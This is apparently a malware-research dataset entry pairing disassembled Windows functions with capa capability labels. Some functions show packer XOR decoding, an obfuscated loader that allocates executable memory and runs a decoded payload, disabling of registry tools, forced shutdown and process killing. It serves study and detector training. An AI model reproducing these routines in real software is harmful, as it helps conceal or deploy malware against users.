joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4375c0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x467bf3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0045b5eb
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], 0x87adc0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], 0x879df8
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x4690cc]
push eax
mov ecx, edi
call fcn.00460c8a
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004621a6
test eax, eax
je 0x4376dc
mov ecx, dword [esp + 0x3c]
call fcn.00460cb7
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x469540]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4376a0
push edi
mov ecx, esi
call fcn.0045e317
mov ecx, esi
call fcn.00437840
cmp dword [esp + 0x38], 1
jne 0x4376d5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0045e452
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28

Function at 0x43a100
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x43a133
push esi
call fcn.0043d1f0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x43a12c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x43a1b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x43a1a2
mov eax, dword [esi + 8]
test eax, eax
je 0x43a157
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x43a19e
cmp eax, 2
je 0x43a1a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43a14a
cmp eax, 3
je 0x43a17d
cmp eax, 1
jne 0x43a14a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x43a14a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x43a14a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0043a1e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x43a1c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0043a1e0
add esp, 4
pop esi
ret
Function at 0x446fc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4680f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00446b70
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00446bf0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00446bf0
lea ecx, [esi + 0xc]
call fcn.00459fc8
lea ecx, [esi + 0x10]
call fcn.00459fc8
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00448180
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00448180
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00448180
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0045a03d
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0045a03d
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x40105c
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x402930], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x402920], eax
push 0x1f4
push dword [0x402930]
call sub.user32.dll_LoadIconA
mov dword [0x402928], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [0x40292c], eax
call sub.comctl32.dll_InitCommonControls
push 0xa
push dword [0x402920]
push 0
push dword [0x402930]
call 0x40105c
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffa0
mov dword [ebp - 0x44], 0x30
mov dword [ebp - 0x40], 0x2000
mov dword [ebp - 0x3c], 0x4011b2
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push dword [ebp + 8]
pop dword [ebp - 0x30]
mov dword [ebp - 0x24], 0x10
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x401bab
push dword [0x402928]
pop dword [ebp - 0x2c]
push dword [0x40292c]
pop dword [ebp - 0x28]
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call sub.user32.dll_RegisterClassExA
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [0x402944], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [0x402948], eax
push 0x46
push dword [0x402944]
call fcn.00401880
mov dword [ebp - 4], eax
push 0x46
push dword [0x402948]
call fcn.00401880
mov dword [ebp - 8], eax
fild dword [ebp - 8]
fld dword [0x401bbc]
fmulp st(1)
fistp dword [ebp - 0x14]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x14]
jbe 0x401116
push dword [ebp - 0x14]
pop dword [ebp - 4]
mov eax, dword [0x402944]
sub eax, dword [ebp - 4]
shr eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [0x402948]
sub eax, dword [ebp - 8]
shr eax, 1
mov dword [ebp - 0x10], eax
push 0
push dword [ebp + 8]
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 0xcf0000
push 0x401b90
push 0x401bab
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x402924], eax
push 0
push 0x40160a
call sub.user32.dll_EnumWindows
push 1
push dword [0x402924]
call sub.user32.dll_ShowWindow
push dword [0x402924]
call sub.user32.dll_UpdateWindow
jmp 0x401198
lea eax, [ebp - 0x60]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x60]
push eax
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x60]
push eax
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x401186
mov eax, dword [ebp - 0x58]
leave
ret 0x10
Function at 0x401a2d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401a3c
push esp
mov dword [ebp - 0x24], 0x401778
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401adb
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401abc
pop ebp
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x646b51d4
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..rdata
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x488d3d04
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x402060
Capabilities:
Get disk information

Disassembly:
sub esp, 0xe0
mov eax, dword [esp + 0xe4]
lea edx, [esp + 0x18]
push 0x64
push edx
mov cl, byte [eax]
lea eax, [esp + 0x1c]
mov byte [esp + 0xc], cl
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
lea eax, [esp + 0x90]
push 0x64
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x25], 0x3a
mov byte [esp + 0x26], 0x5c
mov byte [esp + 0x27], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x4020b8
add esp, 0xe0
ret
mov edx, dword [esp]
push 0xa
push 0x42d030
push edx
call fcn.00403a01
mov eax, dword [esp + 0xc]
add esp, 0xc
add esp, 0xe0
ret

Function at 0x4021e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [0x42d504]
push ebx
push ebp
push esi
push edi
push 0xa
xor esi, esi
push 0x6a
push eax
mov dword [0x42d278], esi
mov dword [0x42d2b0], esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, dword [0x42d504]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, esi
jne 0x40221d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov eax, dword [esi]
mov ebp, dword [esi + 4]
push eax
call fcn.00403a95
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x402248
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebp
add esi, 8
push ebx
push esi
push 0x64
call fcn.00401970
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebx + 0x2e]
lea esi, [ebx + 0xe]
test eax, eax
jne 0x402273
mov cl, byte [esi + 0xe]
mov eax, 1
shl eax, cl
cmp word [esi + 0xe], 8
jbe 0x402294
mov ebp, dword [esi + 0x10]
mov eax, dword [esi + 0x20]
xor edx, edx
cmp ebp, 3
setne dl
dec edx
and edx, 3
add edx, eax
lea edi, [esi + edx*4 + 0x28]
jmp 0x402298
lea edi, [esi + eax*4 + 0x28]
mov eax, dword [0x42d258]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
push esi
push edi
mov ebp, eax
push 4
push esi
push ebp
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
test eax, eax
mov dword [0x42d278], eax
jne 0x4022c2
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x42d260
push 0x18
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, 0xb
xor eax, eax
mov edi, 0x42d27c
rep stosd dword es:[edi], eax
mov eax, dword [0x42d264]
mov ecx, dword [0x42d268]
mov dword [0x42d280], eax
mov dword [0x42d490], eax
lea eax, [eax + eax*2 + 3]
mov dword [0x42d27c], 0x28
and al, 0xfc
mov dword [0x42d284], ecx
imul eax, ecx
push eax
mov dword [0x42d494], ecx
mov word [0x42d288], 1
mov word [0x42d28a], 0x18
mov dword [0x42d290], eax
call fcn.00403a95
add esp, 4
mov dword [0x42d2b0], eax
test eax, eax
jne 0x402340
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [0x42d268]
mov edx, dword [0x42d278]
push 0
push 0x42d27c
push eax
push ecx
push 0
push edx
push ebp
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [0x42d258]
push ebp
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebx
call fcn.00403a8a
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402400
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
xor edi, edi
test edi, edi
je 0x402429
mov eax, dword [esp + 0x20]
lea ecx, [edi + esi]
cmp ecx, eax
jb 0x402429
cmp edi, eax
je 0x402454
mov esi, eax
sub esi, edi
lea edx, [esp + 0x1c]
push 0
push edx
lea eax, [edi + ebp]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0x405
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
add edi, esi
jmp 0x402412
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x402460
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret

Function at 0x4024c0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
sub esp, 0x6c
push esi
push edi
mov ecx, 0xe
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea edi, [esp + 0x10]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xa
lea edi, [esp + 0x4a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 8]
lea ecx, [esp + 0x10]
push eax
push 0xf003f
push 0
push ecx
push 0x80000001
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x402535
lea edx, [esp + 4]
push 4
push edx
push 4
push eax
mov eax, dword [esp + 0x10]
push str.DisableRegistryTools
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x6c
ret
Function at 0x402da0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
push esi
call fcn.00402cc0
add esp, 4
test eax, eax
jne 0x402e0d
lea eax, [esp + 4]
push esi
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00402d20
lea edx, [esp + 0x10]
push 0x40c1a4
push edx
call fcn.004083c0
add esp, 0x14
test eax, eax
jne 0x402e0d
lea eax, [esp + 0x18]
push 0x40c19c
push eax
call fcn.004083c0
add esp, 8
test eax, eax
je 0x402e0d
mov ecx, dword [esp + 0x34]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x402e0d
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
add esp, 0x28
ret

Function at 0x402e20
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x123c
call fcn.00403980
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x402f1d
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.EnumProcessModules
push esi
call edi
push str.GetModuleFileNameExA
push esi
mov ebx, eax
call edi
push str.GetModuleBaseNameA
push esi
mov ebp, eax
call edi
push str.EnumProcesses
push esi
call edi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x24c]
push ecx
push 0x1000
push edx
call eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], 0
shr eax, 2
mov dword [esp + 0x10], eax
je 0x402f76
lea edi, [esp + 0x24c]
mov eax, dword [edi]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402efe
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
push 4
push edx
push esi
call ebx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x148]
push 0x104
push eax
push ecx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [edi]
lea eax, [esp + 0x148]
push edx
push eax
call fcn.00402da0
add esp, 8
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
inc eax
add edi, 4
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x402eaa
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x123c
ret
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x20]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x28], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402f6f
lea edx, [esp + 0x20]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x402f6f
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x44]
push eax
push ecx
call fcn.00402da0
add esp, 8
lea edx, [esp + 0x20]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402f4e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x123c
ret
Function at 0x4036d0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x4c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
call esi
push 1
mov ebx, eax
call esi
mov ebp, eax
call fcn.004021e0
mov edi, 0x40c19c
or ecx, 0xffffffff
xor eax, eax
push 0x65
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x30], 0x30
mov eax, ecx
mov esi, edi
mov edi, 0x42d49c
mov dword [esp + 0x34], 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x38], 0x402f90
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x64]
xor edi, edi
push esi
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push edi
mov dword [esp + 0x4c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x4c], 6
push ecx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], 0x42d49c
mov dword [esp + 0x5c], edi
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x42d490]
push edi
add ecx, 8
push esi
mov dword [0x42d490], ecx
mov ecx, dword [0x42d494]
add ecx, 8
push edi
mov eax, ecx
push edi
cdq
sub eax, edx
mov edx, dword [0x42d490]
sar eax, 1
sub eax, 5
push ecx
mov dword [0x42d60c], eax
mov eax, 0x55555556
push edx
imul ebp
mov eax, edx
mov dword [0x42d494], ecx
shr eax, 0x1f
mov dword [0x42d504], esi
lea ecx, [edx + eax - 0x1e]
mov eax, 0x55555556
imul ebx
mov eax, edx
push ecx
shr eax, 0x1f
lea ecx, [edx + eax - 0x14]
push ecx
push 0x908c0000
push str.Setup
push 0x42d49c
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edi, eax
test edi, edi
jne 0x403804
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10
mov edx, dword [esp + 0x6c]
push edx
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x67
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push 0
push 0x4034a0
push edi
push 0x6c
push esi
mov dword [0x42dc78], eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov eax, dword [0x42dc84]
test eax, eax
jne 0x40384b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4c
ret 0x10
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
call esi
test eax, eax
je 0x4038a4
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
mov edx, dword [0x42dc78]
lea ecx, [esp + 0x10]
push ecx
push edx
push edi
call ebx
test eax, eax
jne 0x403893
lea eax, [esp + 0x10]
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
lea edx, [esp + 0x18]
push 0
push edx
call esi
test eax, eax
jne 0x40386e
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10
Function at 0x405fb1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c558
cmp edx, dword [eax]
je 0x405fd3
add eax, 8
inc ecx
cmp eax, 0x40c5e8
jl 0x405fc4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c558]
jne 0x406101
mov eax, dword [0x42dc94]
cmp eax, 1
je 0x4060db
test eax, eax
jne 0x406004
cmp dword [0x40c284], 1
je 0x4060db
cmp edx, 0xfc
je 0x406101
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40603b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407050
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004067b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40607e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004067b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40a55c
push edi
call fcn.00407500
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407050
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407060
lea eax, [ebp - 0xa0]
push 0x40a53c
push eax
call fcn.00407060
push dword [esi + 0x40c55c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407060
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407475
add esp, 0x2c
pop edi
jmp 0x406101
lea eax, [ebp + 8]
lea esi, [esi + 0x40c55c]
push 0
push eax
push dword [esi]
call fcn.004067b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x406046
pop dword [ebp - 0x48]
mov eax, 0x7841d098
sub eax, 0x78017052
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xa76c590
add dword [ebp - 0x58], 0x43db7fbb
mov dword [ebp - 0x54], 0x992d5b9a
sub dword [ebp - 0x54], 0x66fa0f55
mov dword [ebp - 0x50], 0x7c80f8de
add dword [ebp - 0x50], 0xcfcb4b50
mov dword [ebp - 0x4c], 0x9cb1740f
add dword [ebp - 0x4c], 0x634e8bf1
lea eax, [ebp - 0x58]
push eax
mov eax, 0x9603fc39
add eax, 0x6a3cd41b
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x82387966
add dword [ebp - 0x58], 0xf239eff0
mov dword [ebp - 0x54], 0xb900a050
add dword [ebp - 0x54], 0x886bc125
mov dword [ebp - 0x50], 0xcb48c747
add dword [ebp - 0x50], 0x9826a525
mov dword [ebp - 0x4c], 0x2c6faf22
add dword [ebp - 0x4c], 0xd39050de
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xb7525878
add eax, 0x48ee77d4
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3b543
push 0
call eax
mov ecx, 0xa646e682
add ecx, 0x59b9687f
mov esi, eax
mov edi, 0xfe49f96d
sub edi, 0xfe08496d
add edi, dword [ebp - 0x48]
mov ebx, 0xf35bf67f
mov edx, dword [edi]
xor dword [ebp - 0x30], esi
sub edx, ebx
sub dword [ebp - 4], edi
mov dword [esi], edx
add dword [ebp - 0x30], 0xc6069fe2
add esi, 0x14a82cf1
add esi, 0xeb57d313
add edi, 0xbc083fb8
add edi, 0x43f7c04c
loop 0x406162
add eax, 0xb9107ef5
sub eax, 0xb90f501e
mov ebx, eax
add eax, 5
mov ecx, 0x7cedd948
add ecx, 0x835226b8
add ecx, dword [ebp - 0x48]
call ebx
leave
ret